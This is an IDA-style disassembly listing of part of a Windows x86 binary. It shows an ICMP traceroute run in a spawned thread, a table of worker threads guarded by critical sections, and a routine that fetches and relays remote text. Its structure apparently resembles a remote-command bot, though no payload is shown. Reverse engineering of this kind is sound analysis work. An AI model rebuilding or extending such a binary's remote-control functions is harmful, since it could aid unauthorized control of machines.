		cmp	dword_41E2F0, 0
		jz	short loc_409B25
		push	10h
		push	dword_41E2F0
		push	offset dword_4194EC
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	short loc_409B3F
; ---------------------------------------------------------------------------

loc_409B25:				; CODE XREF: sub_409AD5+30j
		push	offset dword_4194CC
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	locret_409BED
; ---------------------------------------------------------------------------

loc_409B3F:				; CODE XREF: sub_409AD5+4Ej
		push	offset dword_41E2D8
		call	sub_409C6C
		pop	ecx
		and	[ebp+var_10], 0
		and	[ebp+var_4], 0
		jmp	short loc_409B5B
; ---------------------------------------------------------------------------

loc_409B54:				; CODE XREF: sub_409AD5:loc_409BDBj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_409B5B:				; CODE XREF: sub_409AD5+7Dj
		cmp	[ebp+var_4], 10h
		jge	short loc_409BE0
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_409BDB
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx
		push	3E8h
		call	dword_41709C	; Sleep
		push	offset dword_41E2D8
		call	sub_409C6C
		pop	ecx
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		lea	eax, [ecx+eax+14h]
		push	eax
		push	[ebp+var_4]
		push	offset dword_4194BC
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		cmp	dword ptr [ecx+eax+4], 0
		jz	short loc_409BDB
		jmp	short loc_409BE0
; ---------------------------------------------------------------------------

loc_409BDB:				; CODE XREF: sub_409AD5+A0j
					; sub_409AD5+102j
		jmp	loc_409B54
; ---------------------------------------------------------------------------

loc_409BE0:				; CODE XREF: sub_409AD5+8Aj
					; sub_409AD5+104j
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax

locret_409BED:				; CODE XREF: sub_409AD5+65j
		leave
		retn	4
sub_409AD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409BF1	proc near		; CODE XREF: sub_40A9CF+AFBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A3h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_409C0B
		jmp	short locret_409C34
; ---------------------------------------------------------------------------

loc_409C0B:				; CODE XREF: sub_409BF1+16j
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+arg_0]
		push	offset sub_409AD5
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short locret_409C34
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx

locret_409C34:				; CODE XREF: sub_409BF1+18j
					; sub_409BF1+38j
		leave
		retn
sub_409BF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C36	proc near		; CODE XREF: sub_405FA3+9p
					; sub_40938F+1Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	18h
		push	0
		push	[ebp+arg_0]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		cmp	dword_41DE40, 0
		jz	short loc_409C61
		push	80000400h
		push	[ebp+arg_0]
		call	dword_41DE40	; InitializeCriticalSectionAndSpinCount
		jmp	short loc_409C6A
; ---------------------------------------------------------------------------

loc_409C61:				; CODE XREF: sub_409C36+19j
		push	[ebp+arg_0]
		call	dword_4170E4	; InitializeCriticalSection

loc_409C6A:				; CODE XREF: sub_409C36+29j
		pop	ebp
		retn
sub_409C36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C6C	proc near		; CODE XREF: sub_406041+10p
					; sub_4095A4+Bp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	dword_4170EC	; RtlEnterCriticalSection
		pop	ebp
		retn
sub_409C6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C7A	proc near		; CODE XREF: sub_406041+26p
					; sub_406041+307p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	dword_41710C	; RtlLeaveCriticalSection
		pop	ebp
		retn
sub_409C7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C88	proc near		; CODE XREF: sub_40332B+10p
					; sub_41113B+7EDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		lock xadd [esi], eax
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_409C88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C9D	proc near		; CODE XREF: sub_4042FB+17p
					; sub_4042FB+25p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		lock xchg eax, [esi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_409C9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409CB1	proc near		; CODE XREF: sub_409DD0+202p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		call	dword_41E2FC
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0FFFFFFFFh
		jnz	short loc_409CD8
		push	offset aCouldNotGetAVa ; "Could	not get	a valid	ICMP handle\n"
		call	sub_416DD8	; printf
		pop	ecx
		xor	eax, eax
		jmp	locret_409DCE
; ---------------------------------------------------------------------------

loc_409CD8:				; CODE XREF: sub_409CB1+13j
		push	8
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	al, [ebp+arg_8]
		mov	[ebp+var_18], al
		movzx	eax, [ebp+arg_10]
		push	eax
		call	sub_416DD2	; ??2@YAPAXI@Z
		pop	ecx
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_C], eax
		movzx	eax, [ebp+arg_10]
		push	eax
		push	45h
		push	[ebp+var_C]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		movzx	eax, [ebp+arg_10]
		cmp	eax, 8
		jge	short loc_409D26
		mov	[ebp+var_38], 8
		jmp	short loc_409D2D
; ---------------------------------------------------------------------------

loc_409D26:				; CODE XREF: sub_409CB1+6Aj
		movzx	eax, [ebp+arg_10]
		mov	[ebp+var_38], eax

loc_409D2D:				; CODE XREF: sub_409CB1+73j
		mov	eax, [ebp+var_38]
		add	eax, 1Ch
		mov	[ebp+var_24], eax
		push	[ebp+var_24]
		call	sub_416DD2	; ??2@YAPAXI@Z
		pop	ecx
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_4], eax
		push	[ebp+arg_C]
		push	[ebp+var_24]
		push	[ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		movzx	ax, [ebp+arg_10]
		push	eax
		push	[ebp+var_C]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		call	dword_41E308
		mov	[ebp+var_20], eax
		mov	[ebp+var_8], 1
		cmp	[ebp+var_20], 1
		jz	short loc_409D8D
		call	dword_417064	; RtlGetLastWin32Error
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_409DA4
; ---------------------------------------------------------------------------

loc_409D8D:				; CODE XREF: sub_409CB1+CDj
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx]
		mov	[eax+4], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx+8]
		mov	[eax+8], ecx

loc_409DA4:				; CODE XREF: sub_409CB1+DAj
		push	[ebp+var_1C]
		call	dword_41E304
		mov	eax, [ebp+var_C]
		mov	[ebp+var_30], eax
		push	[ebp+var_30]
		call	sub_416DCC	; ??3@YAXPAX@Z
		pop	ecx
		mov	eax, [ebp+var_10]
		mov	[ebp+var_34], eax
		push	[ebp+var_34]
		call	sub_416DCC	; ??3@YAXPAX@Z
		pop	ecx
		mov	eax, [ebp+var_8]

locret_409DCE:				; CODE XREF: sub_409CB1+22j
		leave
		retn
sub_409CB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409DD0	proc near		; DATA XREF: sub_40A1A7+FDo

var_2F0		= dword	ptr -2F0h
var_2EC		= dword	ptr -2ECh
var_2E8		= dword	ptr -2E8h
var_2E4		= dword	ptr -2E4h
var_2E0		= dword	ptr -2E0h
var_2DC		= dword	ptr -2DCh
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
var_2BC		= dword	ptr -2BCh
var_2B8		= dword	ptr -2B8h
var_2B4		= dword	ptr -2B4h
var_2B0		= byte ptr -2B0h
var_10D		= byte ptr -10Dh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2F0h
		push	2ACh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2B0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		movzx	eax, byte_41E310
		test	eax, eax
		jnz	short loc_409E6D
		push	offset aIcmp_dll ; "ICMP.DLL"
		call	dword_417054	; LoadLibraryA
		mov	dword_41E300, eax
		cmp	dword_41E300, 0
		jnz	short loc_409E24
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------

loc_409E24:				; CODE XREF: sub_409DD0+4Bj
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	dword_41E300
		call	dword_417058	; GetProcAddress
		mov	dword_41E2FC, eax
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	dword_41E300
		call	dword_417058	; GetProcAddress
		mov	dword_41E308, eax
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	dword_41E300
		call	dword_417058	; GetProcAddress
		mov	dword_41E304, eax
		mov	byte_41E310, 1

loc_409E6D:				; CODE XREF: sub_409DD0+32j
		cmp	dword_41E2FC, 0
		jnz	short loc_409E7D
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------

loc_409E7D:				; CODE XREF: sub_409DD0+A4j
		cmp	dword_41E308, 0
		jnz	short loc_409E8D
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------

loc_409E8D:				; CODE XREF: sub_409DD0+B4j
		cmp	dword_41E304, 0
		jnz	short loc_409E9D
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------

loc_409E9D:				; CODE XREF: sub_409DD0+C4j
		lea	eax, [ebp+var_10D]
		mov	[ebp+var_2B8], eax
		push	[ebp+var_2B8]
		call	dword_417244	; inet_addr
		mov	[ebp+var_2BC], eax
		cmp	[ebp+var_2BC], 0FFFFFFFFh
		jnz	short loc_409F18
		push	[ebp+var_2B8]
		call	dword_41723C	; gethostbyname
		mov	[ebp+var_2C0], eax
		cmp	[ebp+var_2C0], 0
		jz	short loc_409F06
		mov	eax, [ebp+var_2C0]
		movsx	eax, word ptr [eax+0Ah]
		push	eax
		mov	eax, [ebp+var_2C0]
		mov	eax, [eax+0Ch]
		push	dword ptr [eax]
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		jmp	short loc_409F18
; ---------------------------------------------------------------------------

loc_409F06:				; CODE XREF: sub_409DD0+10Dj
		push	offset aCouldNotResolv ; "Could	not resolve name"
		call	sub_416DD8	; printf
		pop	ecx
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------

loc_409F18:				; CODE XREF: sub_409DD0+F2j
					; sub_409DD0+134j
		and	[ebp+var_4], 0
		mov	byte ptr [ebp+var_2B4],	1
		jmp	short loc_409F33
; ---------------------------------------------------------------------------

loc_409F25:				; CODE XREF: sub_409DD0:loc_40A19Cj
		mov	al, byte ptr [ebp+var_2B4]
		add	al, 1
		mov	byte ptr [ebp+var_2B4],	al

loc_409F33:				; CODE XREF: sub_409DD0+153j
		movzx	eax, byte ptr [ebp+var_2B4]
		movzx	ecx, [ebp+var_D]
		cmp	eax, ecx
		jg	loc_40A1A1
		cmp	[ebp+var_4], 0
		jnz	loc_40A1A1
		and	[ebp+var_2EC], 0
		or	[ebp+var_2E4], 0FFFFFFFFh
		and	[ebp+var_2E0], 0
		and	[ebp+var_2DC], 0
		and	[ebp+var_2D0], 0
		and	[ebp+var_2C8], 0
		and	[ebp+var_2CC], 0
		and	[ebp+var_2D8], 0
		and	[ebp+var_2D4], 0
		jmp	short loc_409F9E
; ---------------------------------------------------------------------------

loc_409F91:				; CODE XREF: sub_409DD0:loc_40A04Ej
		mov	eax, [ebp+var_2D4]
		inc	eax
		mov	[ebp+var_2D4], eax

loc_409F9E:				; CODE XREF: sub_409DD0+1BFj
		mov	eax, [ebp+var_2D4]
		cmp	eax, [ebp+var_8]
		jnb	loc_40A053
		cmp	[ebp+var_2D8], 0
		jnz	loc_40A053
		push	20h
		push	[ebp+var_C]
		push	[ebp+var_2B4]
		lea	eax, [ebp+var_2CC]
		push	eax
		push	[ebp+var_2BC]
		call	sub_409CB1
		add	esp, 14h
		test	eax, eax
		jz	short loc_40A047
		cmp	[ebp+var_2CC], 0
		jnz	short loc_40A02F
		mov	eax, [ebp+var_2D0]
		add	eax, [ebp+var_2C4]
		mov	[ebp+var_2D0], eax
		mov	eax, [ebp+var_2C4]
		cmp	eax, [ebp+var_2E4]
		jnb	short loc_40A013
		mov	eax, [ebp+var_2C4]
		mov	[ebp+var_2E4], eax

loc_40A013:				; CODE XREF: sub_409DD0+235j
		mov	eax, [ebp+var_2C4]
		cmp	eax, [ebp+var_2DC]
		jbe	short loc_40A02D
		mov	eax, [ebp+var_2C4]
		mov	[ebp+var_2DC], eax

loc_40A02D:				; CODE XREF: sub_409DD0+24Fj
		jmp	short loc_40A045
; ---------------------------------------------------------------------------

loc_40A02F:				; CODE XREF: sub_409DD0+215j
		mov	eax, [ebp+var_2CC]
		mov	[ebp+var_2EC], eax
		mov	[ebp+var_2D8], 1

loc_40A045:				; CODE XREF: sub_409DD0:loc_40A02Dj
		jmp	short loc_40A04E
; ---------------------------------------------------------------------------

loc_40A047:				; CODE XREF: sub_409DD0+20Cj
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------

loc_40A04E:				; CODE XREF: sub_409DD0:loc_40A045j
		jmp	loc_409F91
; ---------------------------------------------------------------------------

loc_40A053:				; CODE XREF: sub_409DD0+1D7j
					; sub_409DD0+1E4j
		mov	eax, [ebp+var_2C8]
		mov	[ebp+var_2E8], eax
		cmp	[ebp+var_2EC], 0
		jnz	short loc_40A07B
		mov	eax, [ebp+var_2D0]
		xor	edx, edx
		div	[ebp+var_8]
		mov	[ebp+var_2E0], eax
		jmp	short loc_40A090
; ---------------------------------------------------------------------------

loc_40A07B:				; CODE XREF: sub_409DD0+296j
		and	[ebp+var_2E4], 0
		and	[ebp+var_2E0], 0
		and	[ebp+var_2DC], 0

loc_40A090:				; CODE XREF: sub_409DD0+2A9j
		cmp	[ebp+var_2EC], 0
		jnz	loc_40A165
		push	2
		push	4
		lea	eax, [ebp+var_2E8]
		push	eax
		call	dword_417220	; gethostbyaddr
		mov	[ebp+var_2F0], eax
		cmp	[ebp+var_2F0], 0
		jz	short loc_40A115
		movzx	eax, byte ptr [ebp+var_2E8+3]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8+2]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8+1]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8]
		push	eax
		mov	eax, [ebp+var_2F0]
		push	dword ptr [eax]
		push	[ebp+var_2DC]
		push	[ebp+var_2E0]
		push	[ebp+var_2E4]
		movzx	eax, byte ptr [ebp+var_2B4]
		push	eax
		push	offset dword_419594
		lea	eax, [ebp+var_2B0]
		push	eax
		call	sub_40D53F
		add	esp, 2Ch
		jmp	short loc_40A163
; ---------------------------------------------------------------------------

loc_40A115:				; CODE XREF: sub_409DD0+2EBj
		movzx	eax, byte ptr [ebp+var_2E8+3]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8+2]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8+1]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8]
		push	eax
		push	[ebp+var_2DC]
		push	[ebp+var_2E0]
		push	[ebp+var_2E4]
		movzx	eax, byte ptr [ebp+var_2B4]
		push	eax
		push	offset dword_419568
		lea	eax, [ebp+var_2B0]
		push	eax
		call	sub_40D53F
		add	esp, 28h

loc_40A163:				; CODE XREF: sub_409DD0+343j
		jmp	short loc_40A187
; ---------------------------------------------------------------------------

loc_40A165:				; CODE XREF: sub_409DD0+2C7j
		push	[ebp+var_2EC]
		movzx	eax, byte ptr [ebp+var_2B4]
		push	eax
		push	offset dword_419540
		lea	eax, [ebp+var_2B0]
		push	eax
		call	sub_40D53F
		add	esp, 10h

loc_40A187:				; CODE XREF: sub_409DD0:loc_40A163j
		mov	eax, [ebp+var_2BC]
		cmp	eax, [ebp+var_2E8]
		jnz	short loc_40A19C
		mov	[ebp+var_4], 1

loc_40A19C:				; CODE XREF: sub_409DD0+3C3j
		jmp	loc_409F25
; ---------------------------------------------------------------------------

loc_40A1A1:				; CODE XREF: sub_409DD0+170j
					; sub_409DD0+17Aj
		xor	eax, eax

locret_40A1A3:				; CODE XREF: sub_409DD0+4Fj
					; sub_409DD0+A8j ...
		leave
		retn	4
sub_409DD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A1A7	proc near		; CODE XREF: sub_40A9CF+FAEp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		cmp	[ebp+arg_4], 0
		jnz	short loc_40A1C7
		push	offset unk_419618
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx
		jmp	locret_40A2D0
; ---------------------------------------------------------------------------

loc_40A1C7:				; CODE XREF: sub_40A1A7+Aj
		push	2ACh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40A1E0
		jmp	locret_40A2D0
; ---------------------------------------------------------------------------

loc_40A1E0:				; CODE XREF: sub_40A1A7+32j
		push	1A3h
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 1A3h
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_40A22A
		push	[ebp+arg_8]
		call	sub_416B9C	; atoi
		pop	ecx
		cmp	eax, 0FFh
		jg	short loc_40A22A
		push	[ebp+arg_8]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_10], eax
		jmp	short loc_40A231
; ---------------------------------------------------------------------------

loc_40A22A:				; CODE XREF: sub_40A1A7+63j
					; sub_40A1A7+73j
		mov	[ebp+var_10], 1Eh

loc_40A231:				; CODE XREF: sub_40A1A7+81j
		mov	eax, [ebp+var_4]
		mov	cl, byte ptr [ebp+var_10]
		mov	[eax+2A3h], cl
		cmp	[ebp+arg_C], 0
		jz	short loc_40A261
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		cmp	eax, 927C0h
		jg	short loc_40A261
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_14], eax
		jmp	short loc_40A268
; ---------------------------------------------------------------------------

loc_40A261:				; CODE XREF: sub_40A1A7+9Aj
					; sub_40A1A7+AAj
		mov	[ebp+var_14], 7530h

loc_40A268:				; CODE XREF: sub_40A1A7+B8j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_14]
		mov	[eax+2A4h], ecx
		cmp	[ebp+arg_10], 0
		jz	short loc_40A288
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_18], eax
		jmp	short loc_40A28F
; ---------------------------------------------------------------------------

loc_40A288:				; CODE XREF: sub_40A1A7+D1j
		mov	[ebp+var_18], 3

loc_40A28F:				; CODE XREF: sub_40A1A7+DFj
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_18]
		mov	[eax+2A8h], ecx
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		push	[ebp+var_4]
		push	offset sub_409DD0
		push	0
		push	0
		call	dword_4170B4	; CreateThread
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_40A2C7
		push	[ebp+var_4]
		call	sub_416B4C	; free
		pop	ecx
		jmp	short locret_40A2D0
; ---------------------------------------------------------------------------

loc_40A2C7:				; CODE XREF: sub_40A1A7+113j
		push	[ebp+var_8]
		call	dword_4170A4	; CloseHandle

locret_40A2D0:				; CODE XREF: sub_40A1A7+1Bj
					; sub_40A1A7+34j ...
		leave
		retn
sub_40A1A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A2D2	proc near		; CODE XREF: sub_40A4A4+30p

var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1114	= byte ptr -1114h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 111Ch
		call	sub_416BC0
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 104h
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		push	dword ptr [eax]
		push	offset dword_41966C
		mov	eax, [ebp+arg_0]
		add	eax, 204h
		push	eax
		call	sub_40D53F
		add	esp, 14h
		push	2710h
		push	0
		push	offset dword_419668
		mov	eax, [ebp+arg_0]
		add	eax, 104h
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_40A339
		xor	al, al
		jmp	locret_40A4A2
; ---------------------------------------------------------------------------

loc_40A339:				; CODE XREF: sub_40A2D2+5Ej
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		push	offset dword_419660
		lea	eax, [ebp+var_114]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 0Ch
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		push	[ebp+var_8]
		call	sub_4053BF
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40A38F
		push	[ebp+var_8]
		call	sub_40538D
		pop	ecx
		xor	al, al
		jmp	locret_40A4A2
; ---------------------------------------------------------------------------

loc_40A38F:				; CODE XREF: sub_40A2D2+ABj
		push	1000h
		lea	eax, [ebp+var_1114]
		push	eax
		push	[ebp+var_8]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_40A3B5
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_40A3C5

loc_40A3B5:				; CODE XREF: sub_40A2D2+DBj
		push	[ebp+var_8]
		call	sub_40538D
		pop	ecx
		xor	al, al
		jmp	locret_40A4A2
; ---------------------------------------------------------------------------

loc_40A3C5:				; CODE XREF: sub_40A2D2+E1j
		lea	eax, [ebp+var_1114]
		mov	[ebp+var_10], eax

loc_40A3CE:				; CODE XREF: sub_40A2D2:loc_40A492j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_111C],	eax
		mov	eax, [ebp+var_111C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A3E9
		jmp	loc_40A497
; ---------------------------------------------------------------------------

loc_40A3E9:				; CODE XREF: sub_40A2D2+110j
		push	[ebp+var_111C]
		call	sub_407B5E
		pop	ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_111C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40A41B
		push	offset dword_418F4C
		push	[ebp+var_111C]
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40A442

loc_40A41B:				; CODE XREF: sub_40A2D2+131j
		mov	eax, [ebp+var_111C]
		lea	ecx, [ebp+var_1114]
		cmp	eax, ecx
		jz	short loc_40A440
		push	offset dword_41965C
		mov	eax, [ebp+arg_0]
		add	eax, 204h
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx

loc_40A440:				; CODE XREF: sub_40A2D2+157j
		jmp	short loc_40A458
; ---------------------------------------------------------------------------

loc_40A442:				; CODE XREF: sub_40A2D2+147j
		push	[ebp+var_111C]
		mov	eax, [ebp+arg_0]
		add	eax, 204h
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx

loc_40A458:				; CODE XREF: sub_40A2D2:loc_40A440j
		push	3E8h
		call	dword_41709C	; Sleep
		push	offset dword_41E2D8
		call	sub_409C6C
		pop	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax+4]
		mov	[ebp+var_1118],	eax
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx
		cmp	[ebp+var_1118],	0
		jz	short loc_40A492
		jmp	short loc_40A497
; ---------------------------------------------------------------------------

loc_40A492:				; CODE XREF: sub_40A2D2+1BCj
		jmp	loc_40A3CE
; ---------------------------------------------------------------------------

loc_40A497:				; CODE XREF: sub_40A2D2+112j
					; sub_40A2D2+1BEj
		push	[ebp+var_8]
		call	sub_40538D
		pop	ecx
		mov	al, 1

locret_40A4A2:				; CODE XREF: sub_40A2D2+62j
					; sub_40A2D2+B8j ...
		leave
		retn
sub_40A2D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A4A4	proc near		; DATA XREF: sub_40A50E+A1o

var_3A8		= dword	ptr -3A8h
var_2A4		= byte ptr -2A4h
var_1A4		= byte ptr -1A4h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3A8h
		push	3A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3A8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_3A8]
		push	eax
		call	sub_40A2D2
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jnz	short loc_40A4FC
		lea	eax, [ebp+var_2A4]
		push	eax
		push	offset dword_419698
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch

loc_40A4FC:				; CODE XREF: sub_40A4A4+3Bj
		push	[ebp+var_3A8]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_40A4A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A50E	proc near		; CODE XREF: sub_40A9CF+FE3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_40A51D
		jmp	locret_40A5BC
; ---------------------------------------------------------------------------

loc_40A51D:				; CODE XREF: sub_40A50E+8j
		push	3A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40A536
		jmp	locret_40A5BC
; ---------------------------------------------------------------------------

loc_40A536:				; CODE XREF: sub_40A50E+21j
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
